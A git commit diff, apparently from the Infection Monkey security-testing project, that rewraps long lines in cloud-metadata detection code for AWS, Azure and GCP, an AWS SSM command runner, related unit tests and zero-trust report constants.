All E501 errors fixed, but formatting screwed up

This commit is contained in:
VakarisZ 2021-04-07 11:11:09 +03:00 committed by Mike Salvatore
parent ad2b2f88f5
commit 03bcfc97af
361 changed files with 6078 additions and 5521 deletions

View File

@ -33,7 +33,8 @@ class PerformanceAnalyzer(Analyzer):
if self.performance_test_config.break_on_timeout and not performance_is_good_enough:
LOGGER.warning(
"Calling breakpoint - pausing to enable investigation of island. Type 'c' to continue once you're done "
"Calling breakpoint - pausing to enable investigation of island. "
"Type 'c' to continue once you're done "
"investigating. Type 'p timings' and 'p total_time' to see performance information."
)
breakpoint()

View File

@ -1,6 +1,7 @@
import random
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import (
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\
sample_multiplier.fake_ip_generator import (
FakeIpGenerator,
)

View File

@ -9,10 +9,12 @@ from tqdm import tqdm
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import (
SampleFileParser,
)
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import (
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\
sample_multiplier.fake_ip_generator import (
FakeIpGenerator,
)
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import (
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\
sample_multiplier.fake_monkey import (
FakeMonkey,
)

View File

@ -1,6 +1,7 @@
from unittest import TestCase
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import (
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\
sample_multiplier.fake_ip_generator import (
FakeIpGenerator,
)

View File

@ -9,7 +9,6 @@ from common.cloud.instance import CloudInstance
__author__ = "itay.mizeretz"
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
AWS_LATEST_METADATA_URI_PREFIX = "http://{0}/latest/".format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
ACCOUNT_ID_KEY = "accountId"
@ -35,32 +34,34 @@ class AwsInstance(CloudInstance):
try:
response = requests.get(
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2
)
self.instance_id = response.text if response else None
self.region = self._parse_region(
requests.get(
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone"
).text
requests.get(
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone"
).text
)
except (requests.RequestException, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
try:
self.account_id = self._extract_account_id(
requests.get(
AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2
).text
requests.get(
AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document",
timeout=2
).text
)
except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e:
logger.debug(
"Failed init of AwsInstance while getting dynamic instance data: {}".format(e)
"Failed init of AwsInstance while getting dynamic instance data: {}".format(e)
)
@staticmethod
def _parse_region(region_url_response):
# For a list of regions, see:
# https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
# https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts
# .RegionsAndAvailabilityZones.html
# This regex will find any AWS region format string in the response.
re_phrase = r"((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])"
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
@ -79,9 +80,11 @@ class AwsInstance(CloudInstance):
def _extract_account_id(instance_identity_document_response):
"""
Extracts the account id from the dynamic/instance-identity/document metadata path.
Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more solutions,
Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more
solutions,
in case Amazon break this mechanism.
:param instance_identity_document_response: json returned via the web page ../dynamic/instance-identity/document
:param instance_identity_document_response: json returned via the web page
../dynamic/instance-identity/document
:return: The account id
"""
return json.loads(instance_identity_document_response)[ACCOUNT_ID_KEY]

View File

@ -20,10 +20,10 @@ logger = logging.getLogger(__name__)
def filter_instance_data_from_aws_response(response):
return [
{
"instance_id": x[INSTANCE_ID_KEY],
"name": x[COMPUTER_NAME_KEY],
"os": x[PLATFORM_TYPE_KEY].lower(),
"ip_address": x[IP_ADDRESS_KEY],
"instance_id":x[INSTANCE_ID_KEY],
"name":x[COMPUTER_NAME_KEY],
"os":x[PLATFORM_TYPE_KEY].lower(),
"ip_address":x[IP_ADDRESS_KEY],
}
for x in response[INSTANCE_INFORMATION_LIST_KEY]
]
@ -31,12 +31,14 @@ def filter_instance_data_from_aws_response(response):
class AwsService(object):
"""
A wrapper class around the boto3 client and session modules, which supplies various AWS services.
A wrapper class around the boto3 client and session modules, which supplies various AWS
services.
This class will assume:
1. That it's running on an EC2 instance
2. That the instance is associated with the correct IAM role. See
https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role
for details.
"""
region = None
@ -48,7 +50,7 @@ class AwsService(object):
@staticmethod
def get_client(client_type, region=None):
return boto3.client(
client_type, region_name=region if region is not None else AwsService.region
client_type, region_name=region if region is not None else AwsService.region
)
@staticmethod
@ -73,7 +75,8 @@ class AwsService(object):
Get the information for all instances with the relevant roles.
This function will assume that it's running on an EC2 instance with the correct IAM role.
See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam
-role for details.
:raises: botocore.exceptions.ClientError if can't describe local instance information.
:return: All visible instances from this instance

View File

@ -30,7 +30,6 @@ INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """
}
"""
EXPECTED_INSTANCE_ID = "i-1234567890abcdef0"
EXPECTED_REGION = "us-west-2"
@ -39,14 +38,14 @@ EXPECTED_ACCOUNT_ID = "123456789012"
def get_test_aws_instance(
text={"instance_id": None, "region": None, "account_id": None},
exception={"instance_id": None, "region": None, "account_id": None},
text={"instance_id":None, "region":None, "account_id":None},
exception={"instance_id":None, "region":None, "account_id":None},
):
with requests_mock.Mocker() as m:
# request made to get instance_id
url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id"
m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get(
url, exc=exception["instance_id"]
url, exc=exception["instance_id"]
)
# request made to get region
@ -56,7 +55,7 @@ def get_test_aws_instance(
# request made to get account_id
url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document"
m.get(url, text=text["account_id"]) if text["account_id"] else m.get(
url, exc=exception["account_id"]
url, exc=exception["account_id"]
)
test_aws_instance_object = AwsInstance()
@ -67,11 +66,11 @@ def get_test_aws_instance(
@pytest.fixture
def good_data_mock_instance():
return get_test_aws_instance(
text={
"instance_id": INSTANCE_ID_RESPONSE,
"region": AVAILABILITY_ZONE_RESPONSE,
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
}
text={
"instance_id":INSTANCE_ID_RESPONSE,
"region":AVAILABILITY_ZONE_RESPONSE,
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
}
)
@ -99,11 +98,11 @@ def test_get_account_id_good_data(good_data_mock_instance):
@pytest.fixture
def bad_region_data_mock_instance():
return get_test_aws_instance(
text={
"instance_id": INSTANCE_ID_RESPONSE,
"region": "in-a-different-world",
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
}
text={
"instance_id":INSTANCE_ID_RESPONSE,
"region":"in-a-different-world",
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
}
)
@ -131,11 +130,11 @@ def test_get_account_id_bad_region_data(bad_region_data_mock_instance):
@pytest.fixture
def bad_account_id_data_mock_instance():
return get_test_aws_instance(
text={
"instance_id": INSTANCE_ID_RESPONSE,
"region": AVAILABILITY_ZONE_RESPONSE,
"account_id": "who-am-i",
}
text={
"instance_id":INSTANCE_ID_RESPONSE,
"region":AVAILABILITY_ZONE_RESPONSE,
"account_id":"who-am-i",
}
)
@ -163,12 +162,12 @@ def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instan
@pytest.fixture
def bad_instance_id_request_mock_instance(instance_id_exception):
return get_test_aws_instance(
text={
"instance_id": None,
"region": AVAILABILITY_ZONE_RESPONSE,
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
},
exception={"instance_id": instance_id_exception, "region": None, "account_id": None},
text={
"instance_id":None,
"region":AVAILABILITY_ZONE_RESPONSE,
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
},
exception={"instance_id":instance_id_exception, "region":None, "account_id":None},
)
@ -201,12 +200,12 @@ def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_ins
@pytest.fixture
def bad_region_request_mock_instance(region_exception):
return get_test_aws_instance(
text={
"instance_id": INSTANCE_ID_RESPONSE,
"region": None,
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
},
exception={"instance_id": None, "region": region_exception, "account_id": None},
text={
"instance_id":INSTANCE_ID_RESPONSE,
"region":None,
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
},
exception={"instance_id":None, "region":region_exception, "account_id":None},
)
@ -239,12 +238,12 @@ def test_get_account_id_bad_region_request(bad_region_request_mock_instance):
@pytest.fixture
def bad_account_id_request_mock_instance(account_id_exception):
return get_test_aws_instance(
text={
"instance_id": INSTANCE_ID_RESPONSE,
"region": AVAILABILITY_ZONE_RESPONSE,
"account_id": None,
},
exception={"instance_id": None, "region": None, "account_id": account_id_exception},
text={
"instance_id":INSTANCE_ID_RESPONSE,
"region":AVAILABILITY_ZONE_RESPONSE,
"account_id":None,
},
exception={"instance_id":None, "region":None, "account_id":account_id_exception},
)

View File

@ -50,9 +50,9 @@ class TestFilterInstanceDataFromAwsResponse(TestCase):
"""
self.assertEqual(
filter_instance_data_from_aws_response(json.loads(json_response_empty)), []
filter_instance_data_from_aws_response(json.loads(json_response_empty)), []
)
self.assertEqual(
filter_instance_data_from_aws_response(json.loads(json_response_full)),
[{"instance_id": "string", "ip_address": "string", "name": "string", "os": "string"}],
filter_instance_data_from_aws_response(json.loads(json_response_full)),
[{"instance_id":"string", "ip_address":"string", "name":"string", "os":"string"}],
)

View File

@ -9,7 +9,8 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
LATEST_AZURE_METADATA_API_VERSION = "2019-04-30"
AZURE_METADATA_SERVICE_URL = (
"http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION
"http://169.254.169.254/metadata/instance?api-version=%s" %
LATEST_AZURE_METADATA_API_VERSION
)
logger = logging.getLogger(__name__)
@ -18,7 +19,8 @@ logger = logging.getLogger(__name__)
class AzureInstance(CloudInstance):
"""
Access to useful information about the current machine if it's an Azure VM.
Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
Based on Azure metadata service:
https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
"""
def is_instance(self):
@ -38,13 +40,14 @@ class AzureInstance(CloudInstance):
try:
response = requests.get(
AZURE_METADATA_SERVICE_URL,
headers={"Metadata": "true"},
timeout=SHORT_REQUEST_TIMEOUT,
AZURE_METADATA_SERVICE_URL,
headers={"Metadata":"true"},
timeout=SHORT_REQUEST_TIMEOUT,
)
# If not on cloud, the metadata URL is non-routable and the connection will fail.
# If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false.
# If on AWS, should get 404 since the metadata service URL is different,
# so bool(response) will be false.
if response:
logger.debug("Trying to parse Azure metadata.")
self.try_parse_response(response)
@ -52,7 +55,8 @@ class AzureInstance(CloudInstance):
logger.warning(f"Metadata response not ok: {response.status_code}")
except requests.RequestException:
logger.debug(
"Failed to get response from Azure metadata service: This instance is not on Azure."
"Failed to get response from Azure metadata service: This instance is not on "
"Azure."
)
def try_parse_response(self, response):

View File

@ -7,108 +7,113 @@ from common.cloud.azure.azure_instance import AZURE_METADATA_SERVICE_URL, AzureI
from common.cloud.environment_names import Environment
GOOD_DATA = {
"compute": {
"azEnvironment": "AZUREPUBLICCLOUD",
"isHostCompatibilityLayerVm": "true",
"licenseType": "Windows_Client",
"location": "westus",
"name": "examplevmname",
"offer": "Windows",
"osProfile": {
"adminUsername": "admin",
"computerName": "examplevmname",
"disablePasswordAuthentication": "true",
"compute":{
"azEnvironment":"AZUREPUBLICCLOUD",
"isHostCompatibilityLayerVm":"true",
"licenseType":"Windows_Client",
"location":"westus",
"name":"examplevmname",
"offer":"Windows",
"osProfile":{
"adminUsername":"admin",
"computerName":"examplevmname",
"disablePasswordAuthentication":"true",
},
"osType": "linux",
"placementGroupId": "f67c14ab-e92c-408c-ae2d-da15866ec79a",
"plan": {"name": "planName", "product": "planProduct", "publisher": "planPublisher"},
"platformFaultDomain": "36",
"platformUpdateDomain": "42",
"publicKeys": [
{"keyData": "ssh-rsa 0", "path": "/home/user/.ssh/authorized_keys0"},
{"keyData": "ssh-rsa 1", "path": "/home/user/.ssh/authorized_keys1"},
"osType":"linux",
"placementGroupId":"f67c14ab-e92c-408c-ae2d-da15866ec79a",
"plan":{"name":"planName", "product":"planProduct", "publisher":"planPublisher"},
"platformFaultDomain":"36",
"platformUpdateDomain":"42",
"publicKeys":[
{"keyData":"ssh-rsa 0", "path":"/home/user/.ssh/authorized_keys0"},
{"keyData":"ssh-rsa 1", "path":"/home/user/.ssh/authorized_keys1"},
],
"publisher": "RDFE-Test-Microsoft-Windows-Server-Group",
"resourceGroupName": "macikgo-test-may-23",
"resourceId": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/"
"providers/Microsoft.Compute/virtualMachines/examplevmname",
"securityProfile": {"secureBootEnabled": "true", "virtualTpmEnabled": "false"},
"sku": "Windows-Server-2012-R2-Datacenter",
"storageProfile": {
"dataDisks": [
"publisher":"RDFE-Test-Microsoft-Windows-Server-Group",
"resourceGroupName":"macikgo-test-may-23",
"resourceId":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test"
"-may-23/"
"providers/Microsoft.Compute/virtualMachines/examplevmname",
"securityProfile":{"secureBootEnabled":"true", "virtualTpmEnabled":"false"},
"sku":"Windows-Server-2012-R2-Datacenter",
"storageProfile":{
"dataDisks":[
{
"caching": "None",
"createOption": "Empty",
"diskSizeGB": "1024",
"image": {"uri": ""},
"lun": "0",
"managedDisk": {
"id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
"resourceGroups/macikgo-test-may-23/providers/"
"Microsoft.Compute/disks/exampledatadiskname",
"storageAccountType": "Standard_LRS",
"caching":"None",
"createOption":"Empty",
"diskSizeGB":"1024",
"image":{"uri":""},
"lun":"0",
"managedDisk":{
"id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
"resourceGroups/macikgo-test-may-23/providers/"
"Microsoft.Compute/disks/exampledatadiskname",
"storageAccountType":"Standard_LRS",
},
"name": "exampledatadiskname",
"vhd": {"uri": ""},
"writeAcceleratorEnabled": "false",
"name":"exampledatadiskname",
"vhd":{"uri":""},
"writeAcceleratorEnabled":"false",
}
],
"imageReference": {
"id": "",
"offer": "UbuntuServer",
"publisher": "Canonical",
"sku": "16.04.0-LTS",
"version": "latest",
"imageReference":{
"id":"",
"offer":"UbuntuServer",
"publisher":"Canonical",
"sku":"16.04.0-LTS",
"version":"latest",
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "FromImage",
"diskSizeGB": "30",
"diffDiskSettings": {"option": "Local"},
"encryptionSettings": {"enabled": "false"},
"image": {"uri": ""},
"managedDisk": {
"id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
"resourceGroups/macikgo-test-may-23/providers/"
"Microsoft.Compute/disks/exampleosdiskname",
"storageAccountType": "Standard_LRS",
"osDisk":{
"caching":"ReadWrite",
"createOption":"FromImage",
"diskSizeGB":"30",
"diffDiskSettings":{"option":"Local"},
"encryptionSettings":{"enabled":"false"},
"image":{"uri":""},
"managedDisk":{
"id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
"resourceGroups/macikgo-test-may-23/providers/"
"Microsoft.Compute/disks/exampleosdiskname",
"storageAccountType":"Standard_LRS",
},
"name": "exampleosdiskname",
"osType": "Linux",
"vhd": {"uri": ""},
"writeAcceleratorEnabled": "false",
"name":"exampleosdiskname",
"osType":"Linux",
"vhd":{"uri":""},
"writeAcceleratorEnabled":"false",
},
},
"subscriptionId": "xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx",
"tags": "baz:bash;foo:bar",
"version": "15.05.22",
"vmId": "02aab8a4-74ef-476e-8182-f6d2ba4166a6",
"vmScaleSetName": "crpteste9vflji9",
"vmSize": "Standard_A3",
"zone": "",
"subscriptionId":"xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx",
"tags":"baz:bash;foo:bar",
"version":"15.05.22",
"vmId":"02aab8a4-74ef-476e-8182-f6d2ba4166a6",
"vmScaleSetName":"crpteste9vflji9",
"vmSize":"Standard_A3",
"zone":"",
},
"network": {
"interface": [
"network":{
"interface":[
{
"ipv4": {
"ipAddress": [{"privateIpAddress": "10.144.133.132", "publicIpAddress": ""}],
"subnet": [{"address": "10.144.133.128", "prefix": "26"}],
"ipv4":{
"ipAddress":[{"privateIpAddress":"10.144.133.132", "publicIpAddress":""}],
"subnet":[{"address":"10.144.133.128", "prefix":"26"}],
},
"ipv6": {"ipAddress": []},
"macAddress": "0011AAFFBB22",
"ipv6":{"ipAddress":[]},
"macAddress":"0011AAFFBB22",
}
]
},
}
BAD_DATA_NOT_JSON = (
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" '
'"http://www.w3.org/TR/xhtml1/DTD/\
xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml">\n<head>\n<meta '
'content="text/html; charset=utf-8" \
http-equiv="Content-Type" />\n<meta content="no-cache" http-equiv="Pragma" '
"/>\n<title>Waiting...</title>\n<script type=\"text/\
javascript\">\nvar pageName = '/';\ntop.location.replace(pageName);\n</script>\n</head>\n<body> "
"</body>\n</html>\n"
)
BAD_DATA_NOT_JSON = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/\
xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml">\n<head>\n<meta content="text/html; charset=utf-8" \
http-equiv="Content-Type" />\n<meta content="no-cache" http-equiv="Pragma" />\n<title>Waiting...</title>\n<script type="text/\
javascript">\nvar pageName = \'/\';\ntop.location.replace(pageName);\n</script>\n</head>\n<body> </body>\n</html>\n'
BAD_DATA_JSON = {"": ""}
BAD_DATA_JSON = {"":""}
def get_test_azure_instance(url, **kwargs):

View File

@ -8,13 +8,13 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
logger = logging.getLogger(__name__)
GCP_METADATA_SERVICE_URL = "http://metadata.google.internal/"
class GcpInstance(CloudInstance):
"""
Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce
Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving
-metadata#runninggce
"""
def is_instance(self):
@ -39,16 +39,16 @@ class GcpInstance(CloudInstance):
else:
if not response.headers["Metadata-Flavor"] == "Google":
logger.warning(
"Got unexpected Metadata flavor: {}".format(
response.headers["Metadata-Flavor"]
)
"Got unexpected Metadata flavor: {}".format(
response.headers["Metadata-Flavor"]
)
)
else:
logger.warning(
"On GCP, but metadata response not ok: {}".format(response.status_code)
"On GCP, but metadata response not ok: {}".format(response.status_code)
)
except requests.RequestException:
logger.debug(
"Failed to get response from GCP metadata service: This instance is not on GCP"
"Failed to get response from GCP metadata service: This instance is not on GCP"
)
self._on_gcp = False

View File

@ -10,21 +10,22 @@ class AwsCmdResult(CmdResult):
def __init__(self, command_info):
super(AwsCmdResult, self).__init__(
self.is_successful(command_info, True),
command_info["ResponseCode"],
command_info["StandardOutputContent"],
command_info["StandardErrorContent"],
self.is_successful(command_info, True),
command_info["ResponseCode"],
command_info["StandardOutputContent"],
command_info["StandardErrorContent"],
)
self.command_info = command_info
@staticmethod
def is_successful(command_info, is_timeout=False):
"""
Determines whether the command was successful. If it timed out and was still in progress, we assume it worked.
Determines whether the command was successful. If it timed out and was still in progress,
we assume it worked.
:param command_info: Command info struct (returned by ssm.get_command_invocation)
:param is_timeout: Whether the given command timed out
:return: True if successful, False otherwise.
"""
return (command_info["Status"] == "Success") or (
is_timeout and (command_info["Status"] == "InProgress")
is_timeout and (command_info["Status"] == "InProgress")
)

View File

@ -38,8 +38,8 @@ class AwsCmdRunner(CmdRunner):
def run_command_async(self, command_line):
doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript"
command_res = self.ssm.send_command(
DocumentName=doc_name,
Parameters={"commands": [command_line]},
InstanceIds=[self.instance_id],
DocumentName=doc_name,
Parameters={"commands":[command_line]},
InstanceIds=[self.instance_id],
)
return command_res["Command"]["CommandId"]

View File

@ -21,8 +21,10 @@ class CmdRunner(object):
* command id - any unique identifier of a command which was already run
* command result - represents the result of running a command. Always of type CmdResult
* command status - represents the current status of a command. Always of type CmdStatus
* command info - Any consistent structure representing additional information of a command which was already run
* instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field
* command info - Any consistent structure representing additional information of a command
which was already run
* instance - a machine that commands will be run on. Can be any dictionary with 'instance_id'
as a field
* instance_id - any unique identifier of an instance (machine). Can be of any format
"""
@ -49,7 +51,8 @@ class CmdRunner(object):
"""
Run multiple commands on various instances
:param instances: List of instances.
:param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd
:param inst_to_cmd: Function which receives an instance, runs a command asynchronously
and returns Cmd
:param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult
and returns a parsed result (of any format)
:return: Dictionary with 'instance_id' as key and parsed result as value
@ -92,7 +95,7 @@ class CmdRunner(object):
while (curr_time - init_time < timeout) and (len(commands) != 0):
for command in list(
commands
commands
): # list(commands) clones the list. We do so because we remove items inside
CmdRunner._process_command(command, commands, results, True)
@ -105,9 +108,9 @@ class CmdRunner(object):
for command, result in results:
if not result.is_success:
logger.error(
"The following command failed: `%s`. status code: %s",
str(command[1]),
str(result.status_code),
"The following command failed: `%s`. status code: %s",
str(command[1]),
str(result.status_code),
)
return results
@ -154,7 +157,7 @@ class CmdRunner(object):
try:
command_info = c_runner.query_command(c_id)
if (not should_process_only_finished) or c_runner.get_command_status(
command_info
command_info
) != CmdStatus.IN_PROGRESS:
commands.remove(command)
results.append((command, c_runner.get_command_result(command_info)))

View File

@ -1,8 +1,10 @@
"""
This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
This file contains all the static data relating to Zero Trust. It is mostly used in the zero
trust report generation and
in creating findings.
This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
This file contains static mappings between zero trust components such as: pillars, principles,
tests, statuses.
Some of the mappings are computed when this module is loaded.
"""
@ -79,17 +81,24 @@ PRINCIPLE_DISASTER_RECOVERY = "data_backup"
PRINCIPLE_SECURE_AUTHENTICATION = "secure_authentication"
PRINCIPLE_MONITORING_AND_LOGGING = "monitoring_and_logging"
PRINCIPLES = {
PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.",
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.",
PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.",
PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint security solutions.",
PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.",
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.",
PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandatory "
"Access Control) only.",
PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster recovery scenarios.",
PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.",
PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources.",
PRINCIPLE_SEGMENTATION:"Apply segmentation and micro-segmentation inside your "
""
""
"network.",
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC:"Analyze network traffic for malicious activity.",
PRINCIPLE_USER_BEHAVIOUR:"Adopt security user behavior analytics.",
PRINCIPLE_ENDPOINT_SECURITY:"Use anti-virus and other traditional endpoint "
"security solutions.",
PRINCIPLE_DATA_CONFIDENTIALITY:"Ensure data's confidentiality by encrypting it.",
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES:"Configure network policies to be as restrictive as "
"possible.",
PRINCIPLE_USERS_MAC_POLICIES:"Users' permissions to the network and to resources "
"should be MAC (Mandatory "
"Access Control) only.",
PRINCIPLE_DISASTER_RECOVERY:"Ensure data and infrastructure backups for disaster "
"recovery scenarios.",
PRINCIPLE_SECURE_AUTHENTICATION:"Ensure secure authentication process's.",
PRINCIPLE_MONITORING_AND_LOGGING:"Ensure monitoring and logging in network resources.",
}
POSSIBLE_STATUSES_KEY = "possible_statuses"
@ -98,184 +107,206 @@ PRINCIPLE_KEY = "principle_key"
FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
"running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs.",
TEST_SEGMENTATION:{
TEST_EXPLANATION_KEY:"The Monkey tried to scan and find machines that it can "
"communicate with from the machine it's "
"running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey performed cross-segment communication. Check firewall rules and"
" logs.",
STATUS_PASSED:"Monkey couldn't perform cross-segment communication. If relevant, "
"check firewall logs.",
},
PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
PILLARS_KEY: [NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED],
PRINCIPLE_KEY:PRINCIPLE_SEGMENTATION,
PILLARS_KEY:[NETWORKS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED],
},
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
"exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
TEST_MALICIOUS_ACTIVITY_TIMELINE:{
TEST_EXPLANATION_KEY:"The Monkeys in the network performed malicious-looking "
"actions, like scanning and attempting "
"exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_VERIFY:"Monkey performed malicious actions in the network. Check SOC logs and "
"alerts."
},
PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY],
PRINCIPLE_KEY:PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY],
},
TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
"software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
"security concern. ",
TEST_ENDPOINT_SECURITY_EXISTS:{
TEST_EXPLANATION_KEY:"The Monkey checked if there is an active process of an "
"endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY:{
STATUS_FAILED:"Monkey didn't find ANY active endpoint security processes. Install and "
"activate anti-virus "
"software on endpoints.",
STATUS_PASSED:"Monkey found active endpoint security processes. Check their logs to "
"see if Monkey was a "
"security concern. ",
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY:[DEVICES],
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED],
},
TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
"which endpoints were compromised.",
